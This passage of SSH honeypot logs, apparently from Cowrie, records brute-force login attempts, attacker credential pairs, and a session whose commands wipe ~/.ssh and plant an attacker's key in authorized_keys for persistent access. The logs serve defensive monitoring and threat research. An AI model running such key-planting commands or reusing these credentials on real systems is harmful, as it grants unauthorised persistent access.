x-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:17:28.568887Z","src_ip":"189.217.130.86","session":"77dd2c18c4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rodrigo","password":"123","message":"login attempt [rodrigo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:17:28.907093Z","src_ip":"189.217.130.86","session":"77dd2c18c4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:17:29.984601Z","src_ip":"189.217.130.86","session":"77dd2c18c4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":53530,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ffec94da246","protocol":"ssh","message":"New connection: 95.58.255.251:53530 (159.203.135.109:22) [session: 7ffec94da246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:00.029233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:00.035379Z","src_ip":"95.58.255.251","session":"7ffec94da246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:00.207793Z","src_ip":"95.58.255.251","session":"7ffec94da246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ci","password":"1234","message":"login attempt [ci/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:00.924926Z","src_ip":"95.58.255.251","session":"7ffec94da246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:02.098740Z","src_ip":"95.58.255.251","session":"7ffec94da246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51890,"dst_ip":"159.203.135.109","dst_port":22,"session":"51a5eccdd8cd","protocol":"ssh","message":"New connection: 2.57.122.238:51890 (159.203.135.109:22) [session: 51a5eccdd8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:23.717397Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:23.822182Z","src_ip":"2.57.122.238","session":"51a5eccdd8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":34640,"dst_ip":"159.203.135.109","dst_port":22,"session":"696b41ad62a9","protocol":"ssh","message":"New connection: 14.225.2.125:34640 (159.203.135.109:22) [session: 696b41ad62a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:26.574371Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:26.835387Z","src_ip":"14.225.2.125","session":"696b41ad62a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":34656,"dst_ip":"159.203.135.109","dst_port":22,"session":"0759635288ae","protocol":"ssh","message":"New connection: 14.225.2.125:34656 (159.203.135.109:22) [session: 0759635288ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:27.108963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:27.112900Z","src_ip":"14.225.2.125","session":"0759635288ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:27.383819Z","src_ip":"14.225.2.125","session":"0759635288ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dpessoal1","password":"dpessoal1","message":"login attempt [dpessoal1/dpessoal1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:28.196512Z","src_ip":"14.225.2.125","session":"0759635288ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:18:29.468812Z","src_ip":"14.225.2.125","session":"0759635288ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":60556,"dst_ip":"159.203.135.109","dst_port":22,"session":"7da030a8052f","protocol":"ssh","message":"New connection: 103.231.14.54:60556 (159.203.135.109:22) [session: 7da030a8052f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:19.820316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:19.824538Z","src_ip":"103.231.14.54","session":"7da030a8052f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:20.053019Z","src_ip":"103.231.14.54","session":"7da030a8052f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azuracast","password":"azuracast123!","message":"login attempt [azuracast/azuracast123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:21.004788Z","src_ip":"103.231.14.54","session":"7da030a8052f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:22.233505Z","src_ip":"103.231.14.54","session":"7da030a8052f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":37760,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08f6d877a07","protocol":"ssh","message":"New connection: 189.217.130.86:37760 (159.203.135.109:22) [session: b08f6d877a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.298656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.302478Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.378803Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123@qwe","message":"login attempt [root/123@qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.715483Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.895453Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.898227Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.901040Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:33.978951Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.206886Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.210310Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.291326Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.294209Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":27551,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bdf142f744d","protocol":"ssh","message":"New connection: 189.217.130.86:27551 (159.203.135.109:22) [session: 9bdf142f744d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.364905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.368714Z","src_ip":"189.217.130.86","session":"9bdf142f744d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.444846Z","src_ip":"189.217.130.86","session":"9bdf142f744d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:34.782648Z","src_ip":"189.217.130.86","session":"9bdf142f744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:35.862490Z","src_ip":"189.217.130.86","session":"9bdf142f744d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":7670,"dst_ip":"159.203.135.109","dst_port":22,"session":"00e969820577","protocol":"ssh","message":"New connection: 189.217.130.86:7670 (159.203.135.109:22) [session: 00e969820577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:35.935484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:35.939682Z","src_ip":"189.217.130.86","session":"00e969820577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:36.015865Z","src_ip":"189.217.130.86","session":"00e969820577","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:36.351524Z","src_ip":"189.217.130.86","session":"00e969820577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:36.430289Z","src_ip":"189.217.130.86","session":"b08f6d877a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:19:36.434859Z","src_ip":"189.217.130.86","session":"00e969820577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":39224,"dst_ip":"159.203.135.109","dst_port":22,"session":"e12eedf3b53a","protocol":"ssh","message":"New connection: 95.58.255.251:39224 (159.203.135.109:22) [session: e12eedf3b53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:04.227545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:04.231911Z","src_ip":"95.58.255.251","session":"e12eedf3b53a","protocol":"ssh"}
